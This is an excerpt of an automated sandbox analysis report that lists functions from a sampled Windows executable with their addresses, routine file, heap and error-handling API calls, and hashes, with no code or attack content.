Opcode ID: f8fff57f146092fb693f9f0f02916facbec4d3f5cf6855c5916b59dddec30f18
Instruction ID: 06aa0bffc57edc8446930be4fb3d3ecc4288fdccd94c57135405988f21593cb0
Opcode Fuzzy Hash: f8fff57f146092fb693f9f0f02916facbec4d3f5cf6855c5916b59dddec30f18
Instruction Fuzzy Hash: 5D625E7090024ADFDB14DFA4C944BDDBBB4EF14308F1480AEE815B72D2DB789A49DB99

Function 004059B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004059B8
AreFileApisANSI.KERNEL32(?,?,00000000,00000003,?,00000000,?,00000000), ref: 004059DC

Part of subcall function 0040597A: CreateFileA.KERNEL32(?,00000001,?,00000000,?,?,00000000,?,KA,00405A0D,?,?,?,KA,?,00000001), ref: 0040599C

CreateFileW.KERNELBASE(?,?,?,00000000,KA,?,00000000,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A41

Strings

KA, xrefs: 00405A34, 004059FE

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: File$Create$ApisH_prolog
String ID: KA
API String ID: 1948390111-4133974868
Opcode ID: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction ID: 6ceee1153368ae3910bf8b124445a1a72b78f4c7609cf7ab69cd6f34e54ac91e
Opcode Fuzzy Hash: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction Fuzzy Hash: E0118E72A00109EFCF01AFA4D8818DE7F76EF08318F10412AF512B21A1CB398A65DF94

Function 00408524 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408529

Strings

83B, xrefs: 0040881D
Unknown error, xrefs: 004087EA, 004087EF

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID: 83B$Unknown error
API String ID: 3519838083-1944086607
Opcode ID: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction ID: d43b38567734cbd3d280cef04a8de17ccbe463ec1fdb7709e9180388f705ec22
Opcode Fuzzy Hash: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction Fuzzy Hash: A5D17070900259EFCF05DFA4C944ADEBB74BF14318F20846EF845BB291CB78AA45CB95

Function 00408F0A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408F0F
GetLastError.KERNEL32(?,00000003,00000003,00000003,?,?,00000000), ref: 00408FD3

Part of subcall function 00409184: __EH_prolog.LIBCMT ref: 00409189

Part of subcall function 004092E9: __EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00408A3B: __EH_prolog.LIBCMT ref: 00408A40

Strings

KA, xrefs: 00409089

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID: KA
API String ID: 2901101390-4133974868
Opcode ID: beb16fee00325bc56f229413d9b8be2c1c8ba29f30ceeac5e824749cff746bef
Instruction ID: 1ffdda1e280707f1620b0bff2a1c5a648dc862d45b7bd7d33f28712355ced64d
Opcode Fuzzy Hash: beb16fee00325bc56f229413d9b8be2c1c8ba29f30ceeac5e824749cff746bef
Instruction Fuzzy Hash: 7C81677190020AABCF01EFA5C885ADEBBB5BF18318F14416EF455B32A2CB399A05CB54

Function 004049DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004049E2
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00404A6D

Strings

KA, xrefs: 004049F6, 00404A56, 00404B4E, 00404B7E, 00404A7A, 00404B84

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: ErrorH_prologLast
String ID: KA
API String ID: 1057991267-4133974868
Opcode ID: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction ID: ea88e0dbf276ed2b61ac96949af9a946984d9cda694903235269fb2a0f105987
Opcode Fuzzy Hash: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction Fuzzy Hash: 14512671A4010A9ACF10EBA0C945AFFBB74EF91318F14017BE601732D1D779AE46CB99

Function 00401AF4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00401AF9

Strings

KA, xrefs: 00401B4E
KA, xrefs: 00401BF0, 00401BF7

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID: KA$KA
API String ID: 3519838083-594506476
Opcode ID: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction ID: 3866b3b7da3d7396f9922ec017f7e66c93d936b9f161a27d318f0a0663603341
Opcode Fuzzy Hash: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction Fuzzy Hash: 7451CF72D042199FDF11DFA4C940BEEBBB4AF05394F14416AE851732E2E3789E85CB68

Function 00407093 Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00407098
EnterCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070A9
LeaveCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070DD

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
Instruction ID: a56bdc6fde0de93627b634a906b5586fd045a2fb55df8f4462ae58feb39c4b8d
Opcode Fuzzy Hash: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
Instruction Fuzzy Hash: D7018176A00204EFCB118F94CC08B9ABBB5FF48715F00841AFD12E7250C3B4A910CFA0

Function 0040DD8B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040DD90

Strings

, xrefs: 0040DE57

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-3916222277
Opcode ID: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction ID: cf89379ab294d4739916b9706e3dd1d7b183837ff3903d8a06049ba810aa014c
Opcode Fuzzy Hash: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction Fuzzy Hash: 19515E71E006069BDB14DFA9C881ABFB7B5EF98304F14853AE405BB381D778A9458BA4

Function 00403113 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00403118

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004049DD: __EH_prolog.LIBCMT ref: 004049E2

Part of subcall function 00409569: __EH_prolog.LIBCMT ref: 0040956E

Strings

Default, xrefs: 0040322A

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID: Default
API String ID: 3519838083-753088835
Opcode ID: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction ID: 6c236086827897a16f525891fa60e3e62c5941a793998487ad20a929e2e28791
Opcode Fuzzy Hash: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction Fuzzy Hash: 76516071900609EFCB10EFA5D8859EEBBB8FF08318F00456FE45277291DB38AA05CB14

Function 00402F15 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00402F1A

Part of subcall function 00403376: __EH_prolog.LIBCMT ref: 0040337B

Part of subcall function 004034E3: __EH_prolog.LIBCMT ref: 004034E8

Part of subcall function 0040309D: __EH_prolog.LIBCMT ref: 004030A2
Part of subcall function 0040309D: ShowWindow.USER32(00414BE4,00000001,000001F4,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004030FB

Part of subcall function 004131E0: CloseHandle.KERNEL32(00000000,00000000,00403035,?,?,00000000,00000003,?,00000000,?,?,00000000,00000000,00000000), ref: 004131EA
Part of subcall function 004131E0: GetLastError.KERNEL32(?,00000000,00000000,00000000), ref: 004131F4

Strings

KA, xrefs: 00403042

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog$CloseErrorHandleLastShowWindow
String ID: KA
API String ID: 2740091781-4133974868
Opcode ID: bb7fe99dab057578dfc5081c7807b9d545d10ddf8b2be0d385789b3d7fcb172b
Instruction ID: b66072ba2aa71961cefff889ac2f3310996ab01b533407b8592e0c78779ee57e
Opcode Fuzzy Hash: bb7fe99dab057578dfc5081c7807b9d545d10ddf8b2be0d385789b3d7fcb172b
Instruction Fuzzy Hash: 2F41AF31900249DBCB11EFA5C991AEDBBB8AF14314F1480BFE906B72D2DB385B45CB55

Function 00408902 Relevance: 3.1, APIs: 2, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408907
GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00408AEB,?,?,?,?,?,?,?,00000000), ref: 00408994

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: ErrorH_prologLast
String ID:
API String ID: 1057991267-0
Opcode ID: 1d510f232b79bdb8f7fb6071bbe81c0229833e2825a4e5c7126d04dc9213e4f2
Instruction ID: a8fc1237ba57e47b0ed65f04e9c7bd5e3c99de29461016f9efabf40ab0132a5b
Opcode Fuzzy Hash: 1d510f232b79bdb8f7fb6071bbe81c0229833e2825a4e5c7126d04dc9213e4f2
Instruction Fuzzy Hash: 3F3181B19012499FCB10DF95CA859BEBBA0FF04314B14817FE495B72A1CB388D41CB6A

Function 004051C8 Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004051CD

Part of subcall function 0040511B: __EH_prolog.LIBCMT ref: 00405120

Part of subcall function 004058CD: __EH_prolog.LIBCMT ref: 004058D2

GetLastError.KERNEL32(?,?,?,?,00000003,?,00000000,?,00000000), ref: 0040522C

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID:
API String ID: 2901101390-0
Opcode ID: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction ID: 4ca71d6396368880cce983a38ddafe9bc91d36a7a330c4fa26da9ce64be84c4d
Opcode Fuzzy Hash: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction Fuzzy Hash: 43114831C00A059ACF14FBA5D4426EFBB70DF51368F1042BFA462771E28B7C1A4ACE19

Function 004159F8 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09

Part of subcall function 004158B0: GetVersionExA.KERNEL32 ref: 004158CF

HeapDestroy.KERNEL32 ref: 00415A48

Part of subcall function 00415A55: HeapAlloc.KERNEL32(00000000,00000140,00415A31,000003F8), ref: 00415A62

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction ID: d610f17f35f819288534aaa08ec9d41b03b5a17a7fe04688d897b1e7918b3c37
Opcode Fuzzy Hash: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction Fuzzy Hash: 00F03070696A01EBDB206B715DCA7E62A949F84799F104637F540C85A0EB7884C19A1D

Function 00405ACE Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00405AE9
GetLastError.KERNEL32(?,?,?,?), ref: 00405AF7

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction ID: ae3098a1e04470c1e0e5e0b92581544958da7485e9b3b22056b888074196ff7d
Opcode Fuzzy Hash: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction Fuzzy Hash: 89F0B7B4504208EFCB14CF54D9448AE7BF9EF49350B108169F815A7390D731AE00DF69

Function 0040BBC9 Relevance: 2.0, APIs: 1, Instructions: 515COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BBCE

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ecbf576acca07dedac3840329e2192b092c50df8f4c4434df770b83564850c04
Instruction ID: 754c2283aee26f26976a66738bb4ef570e525f81dc1fbbef9a6f78583ad2e2a8
Opcode Fuzzy Hash: ecbf576acca07dedac3840329e2192b092c50df8f4c4434df770b83564850c04
Instruction Fuzzy Hash: 5B325D70904249DFDB10DFA8C584ADEBBB4AF58304F1441AEE855BB3C2CB78AE45CB95

Function 0040280D Relevance: 1.9, APIs: 1, Instructions: 384COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402812

Part of subcall function 00402D80: EnterCriticalSection.KERNEL32(?,?,?,004095B9), ref: 00402D85
Part of subcall function 00402D80: LeaveCriticalSection.KERNEL32(?,?,?,?,004095B9), ref: 00402D8F

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 32f371ae7e942dd8cbcb8f48f1108dc85583b3cd9349b98e5631585cdaf2140a
Instruction ID: 6b86c84e82b28a82bfdc9d9b9477fa58d6923614df4f06b31c284573bb568367
Opcode Fuzzy Hash: 32f371ae7e942dd8cbcb8f48f1108dc85583b3cd9349b98e5631585cdaf2140a
Instruction Fuzzy Hash: 14F1AD30900249DFCF14EFA5C989ADEBBB4AF54318F14806EE445B72E2DB789A45CF19

Function 00408A3B Relevance: 1.9, APIs: 1, Instructions: 374COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408A40

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction ID: 34c7193a5b50bb33ce0ba2a09d23f7b106f418ab12413814a78bbf0ce5505d58
Opcode Fuzzy Hash: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
Instruction Fuzzy Hash: 62E17F70A00249DFCF10DFA4C988AAEBBB4AF58314F2445AEE495F72D1CB389E45CB55

Function 0040EA0B Relevance: 1.8, APIs: 1, Instructions: 255COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040EA10

Part of subcall function 0040FA43: __EH_prolog.LIBCMT ref: 0040FA48

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
